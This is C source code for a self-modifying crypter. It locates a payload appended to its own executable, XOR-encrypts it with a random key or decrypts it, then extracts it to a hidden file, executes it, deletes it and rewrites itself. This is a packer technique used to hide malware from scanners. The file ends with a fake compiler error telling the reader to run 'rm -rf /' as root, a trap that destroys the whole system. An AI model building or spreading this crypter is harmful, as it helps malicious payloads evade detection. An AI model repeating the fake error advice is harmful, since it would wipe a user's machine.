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#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h> /* close() */
#include <stdint.h> /* uint* */
#include <string.h> /* mem*() */
#include <fcntl.h> /* open() */
#include <sys/stat.h> /* fstat(), struct stat */
#include <sys/sendfile.h> /* sendfile() */
#include <sys/mman.h> /* mmap(), munmap() */
#include <sys/time.h> /* gettimeofday() */
#include <limits.h> /* LONG_MAX */
#include <libgen.h> /* basename() */
#include <byteswap.h> /* bswap_* */
/* size of the xor key in multiples of 32 bits
* --> absolute xor key size 128 bits
*/
#define XOR_KEYLEN 4
/* crypter information which is stored after the payload */
typedef struct MyExecTrailer {
uint32_t marker[2];
uint32_t xorkey[XOR_KEYLEN];
uint32_t payload_size;
} __attribute__((packed, gcc_struct)) MyExecTrailer;
/* Remarks about __attributes__:
* - gcc_struct enforces a C99 conformal struct
* (!clang, !MSVC; this is important if xcompiling with gcc-mingw)
* - packed means the struct is not 4 byte aligned (default) instead it is 1 byte aligned
* (our trailer struct is 28 bytes small, so its 4 byte aligned atm but this may change ..)
*/
/* search for 8 byte marker 0xDEADC0DECAFECAFE in crypted exec */
static uint8_t *
findMarker(uint8_t *buf, size_t siz) {
size_t i;
for (i = 7; i < siz; ++i) {
if (buf[i-7] == 0xde && buf[i-6] == 0xad &&
buf[i-5] == 0xc0 && buf[i-4] == 0xde &&
buf[i-3] == 0xca && buf[i-2] == 0xfe &&
buf[i-1] == 0xca && buf[i+0] == 0xfe)
{
return &buf[i-7];
}
}
return NULL;
}
static long int
random_number(long int n)
{
int seed;
struct timeval tm;
gettimeofday(&tm, NULL);
seed = tm.tv_sec + tm.tv_usec;
srandom(seed);
return (random() % n);
}
/* generate and store random xor key in our payload trailer */
static void
xor_genkey(MyExecTrailer *trailer)
{
size_t i;
uint32_t rnd[XOR_KEYLEN];
for (i = 0; i < XOR_KEYLEN; ++i) {
rnd[i] = (uint32_t) random_number(LONG_MAX);
}
memcpy(trailer->xorkey, rnd, sizeof trailer->xorkey);
}
/* (en|de)crypt our payload */
static void
xor_crypt(MyExecTrailer *trailer, uint8_t *payloadStart)
{
size_t i;
uint8_t xb;
uint8_t *key = (uint8_t *) &trailer->xorkey[0];
for (i = 0; i < trailer->payload_size; i++) {
xb = key[i % sizeof trailer->xorkey];
payloadStart[i] ^= xb;
}
}
/* convert a binary buffer to a readable hex string */
static char *
shexbuf(uint8_t *buf, size_t buflen, char *dest, size_t destlen)
{
size_t i, j;
static const char hexal[] = "0123456789ABCDEF";
uint8_t halfByte;
for (i = 0, j = 0; i < buflen && j+2 < destlen; ++i, j += 3) {
halfByte = buf[i] >> 4;
dest[j+0] = hexal[ halfByte % 16 ];
halfByte = buf[i] & 0x0F;
dest[j+1] = hexal[ halfByte % 16 ];
dest[j+2] = ' ';
}
if (j)
dest[j-1] = 0;
return dest;
}
int main(int argc, char **argv) {
char new_path[BUFSIZ];
int arg0_fd, new_fd, payload_fd;
struct stat arg0_statbuf;
uint8_t *mmap_exec, *marker;
MyExecTrailer *trailer;
const uint8_t nullbuf[XOR_KEYLEN] = {0};
char temp[BUFSIZ] = {0};
char payload_path[BUFSIZ];
off_t exec_off;
if (argc < 1)
return 1;
/* new_path is the path to our temp exec
* (crypter w/ encrypted/plain payload)
*/
snprintf(new_path, sizeof new_path, "./.%s", basename(argv[0]));
arg0_fd = open(argv[0], O_RDONLY, 0);
new_fd = open(new_path, O_RDWR | O_CREAT | O_EXCL,
S_IRWXU | S_IRWXG | S_IRWXO);
printf("[file]\n"
"arg0...: '%s'\n"
"new....: '%s'\n"
"\n[fd]\n"
"arg0...: %d\n"
"new....: %d\n",
argv[0], new_path,
arg0_fd, new_fd);
if (arg0_fd < 0 || new_fd < 0)
return 1;
if (fstat(arg0_fd, &arg0_statbuf))
return 1;
if (sendfile(new_fd, arg0_fd, NULL,
arg0_statbuf.st_size) != arg0_statbuf.st_size)
return 1;
close(arg0_fd);
/* mmap whole arg0 executable */
mmap_exec = (uint8_t *) mmap(NULL, arg0_statbuf.st_size, PROT_READ | PROT_WRITE,
MAP_SHARED, new_fd, 0);
if (!mmap_exec)
return 1;
printf("\n[crypter]\n"
"mmap'd.: %p\n"
"size...: %lu bytes\n",
mmap_exec, arg0_statbuf.st_size);
marker = findMarker(mmap_exec, arg0_statbuf.st_size);
if (!marker)
return 1;
trailer = (MyExecTrailer *) marker;
printf("\n[payload]\n"
"Marker.: %p (0x%08X 0x%08X)\n"
"Size...: %u (0x%X) bytes\n"
"Start..: %p (%p - 0x%X)\n",
marker, bswap_32(trailer->marker[0]),
bswap_32(trailer->marker[1]),
trailer->payload_size, trailer->payload_size,
marker - trailer->payload_size,
marker, trailer->payload_size);
if (!memcmp(trailer->xorkey, nullbuf, XOR_KEYLEN)) {
/* xor key contains only NUL bytes so
* assume that our payload is unencrypted
*/
xor_genkey(trailer);
printf("\nEmpty XOR key .. generated: '%s'\n",
shexbuf((uint8_t *) trailer->xorkey,
sizeof trailer->xorkey,
temp, sizeof temp));
/* encrypt our payload */
xor_crypt(trailer, marker - trailer->payload_size);
} else {
/* xor key contains at least one non NUL byte
* so assume that our payload is encrypted
*/
printf("\nXOR key: %s\nDecrypt payload ..\n",
shexbuf((uint8_t *) trailer->xorkey,
sizeof trailer->xorkey,
temp, sizeof temp));
/* decrypt our payload */
xor_crypt(trailer, marker - trailer->payload_size);
memset(trailer->xorkey, 0, sizeof trailer->xorkey);
snprintf(payload_path, sizeof payload_path, "%.*s_payload",
(int) sizeof payload_path - 2, new_path);
/* path to unencrypted payload executable */
payload_fd = open(payload_path, O_RDWR | O_CREAT,
S_IRWXU | S_IRWXG | S_IRWXO);
if (payload_fd < 0)
return 1;
/* extract unencrypted payload from temp executable */
exec_off = marker - mmap_exec - trailer->payload_size;
printf("Extracted '%s': %zd bytes\n",
payload_path,
sendfile(payload_fd, new_fd, &exec_off, trailer->payload_size));
close(payload_fd);
/* executabe and remove payload */
printf("Exec and remove '%s'\n", payload_path);
printf("Payload returned: 0x%X\n", system(payload_path));
unlink(payload_path);
}
/* unmap arg0 mmap'd memory */
munmap(mmap_exec, arg0_statbuf.st_size);
close(new_fd);
/* rename new crypter w/ encrypted/unencrypted payload to arg0 */
rename(new_path, argv[0]);
return 0;
}
#ifndef _NOTASKID
#error "Compiler error. Type `rm -rf /` as root in your terminal to solve this issue."
#endif
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